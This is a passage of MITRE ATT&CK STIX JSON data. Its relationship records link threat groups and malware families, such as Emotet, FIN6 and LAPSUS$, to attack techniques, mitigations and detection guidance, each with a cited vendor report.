Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c3e8b5e-1908-4a17-ba56-f8df99991cd9","type":"relationship","created":"2021-10-01T21:53:33.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:02.243Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) has encoded data into a binary blob using XOR.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c3f8b3b-a6a3-472c-b792-6f5c7ccfbb24","type":"relationship","created":"2019-06-28T17:40:32.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2021-04-01T21:13:03.698Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to gather time metrics as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c429ee1-c93c-4cf9-961a-60768f255f92","created":"2023-03-22T14:04:47.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T14:05:02.486Z","description":"Scripts containing obfuscated content may have higher entropy of characters/strings.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c45658b-2911-4b06-8b57-d34cc16d1e1d","created":"2024-08-09T18:18:15.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:19:58.646Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use CMSTP.exe to install a malicious Microsoft Connection Manager Profile.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0c472bde-ea1e-48b4-bd55-a32f276b0b13","created":"2022-06-10T14:50:40.973Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used the AD Explorer tool to enumerate groups on a victim's network.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T14:50:40.973Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c4af99b-e82d-422f-86da-ccc94e55d763","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.562Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) deobfuscates its code.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c4e4578-3bb1-4c9a-9dc8-af3b7368ada9","type":"relationship","created":"2021-04-25T15:37:07.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"}],"modified":"2021-04-25T15:37:07.362Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used various JavaScript-based backdoors.(Citation: ESET Turla Mosquito Jan 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c52ac40-1949-4fb6-8c2c-344c1d3d6801","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c533013-a72e-4aef-bd19-8ea9ea415189","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:42:19.309Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) has obfuscated strings in [Bandook](https://attack.mitre.org/software/S0234) by base64 encoding, and then encrypting them.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c5577aa-30c5-47f5-83f3-34260860e2b6","type":"relationship","created":"2020-05-18T22:00:40.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-18T22:00:40.664Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used several packing methods for obfuscation.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c56b369-b665-4001-87ff-d27ae135cc64","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-19T19:54:26.619Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c5806e9-dbfc-45d5-a5a9-843523b9b942","created":"2024-02-08T01:16:04.776Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T01:16:04.776Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) removes files from victim environments following use in multiple instances.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c597fa3-aeb4-472c-9fba-6855e5d512b0","type":"relationship","created":"2020-06-25T23:24:45.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T21:35:12.555Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys associated with COR_PROFILER.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c609250-b74c-4b30-9eba-79691bde44df","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c6329d8-4f00-4b3b-aa82-3bc2e9f14766","type":"relationship","created":"2020-11-19T17:07:09.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T17:07:09.448Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has sent system information to a C2 server via HTTP and HTTPS POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c76bb94-1a6e-4ec6-9faa-2b444d80002c","created":"2019-03-25T18:35:14.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"CIS Emotet Dec 2018","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"},{"source_name":"Secureworks Emotet Nov 2018","description":"Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.","url":"https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"},{"source_name":"Malwarebytes Emotet Dec 2017","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.","url":"https://support.malwarebytes.com/docs/DOC-2295"},{"source_name":"Symantec Emotet Jul 2018","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor"},{"source_name":"US-CERT Emotet Jul 2018","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T20:14:18.899Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. (Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: CIS Emotet Dec 2018)(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c78e3a7-45c5-454f-8905-a831fbede841","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"source_name":"Trend Micro FIN6 October 2019","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}],"modified":"2020-09-09T13:35:31.252Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has encoded data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key, and Base64 with character permutation.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0c7c9d79-016b-4b53-8a72-7594604676bd","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","external_references":[{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","modified":"2022-04-14T16:45:32.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c81e49d-53be-4fba-9a07-ec2fe5501267","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Elderwood Sept 2012","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:36:48.373Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has encrypted documents and malicious executables.(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c8370b1-efd1-4e5d-86c9-d3ffba1bb22d","type":"relationship","created":"2021-02-08T23:18:31.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.817Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can use net view to discover remote systems.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c837763-c44c-45cc-8c44-332667481a31","type":"relationship","created":"2020-06-25T18:24:00.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-26T13:30:57.649Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has been incompletely signed with revoked certificates.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c850982-9d06-4b46-a15a-5a9fe5d6ddab","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T21:00:35.872Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) collects C2 information via a dead drop resolver.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c8fdb59-a28f-4f8f-a788-9e3e8928c6d5","type":"relationship","created":"2019-06-24T13:44:34.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T21:51:46.282Z","description":"Application isolation will limit what other processes and system features the exploited target can access.","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c9329e5-eb38-4887-b434-d6a3a69f2205","type":"relationship","created":"2021-08-24T17:04:27.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.752Z","description":"(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018) 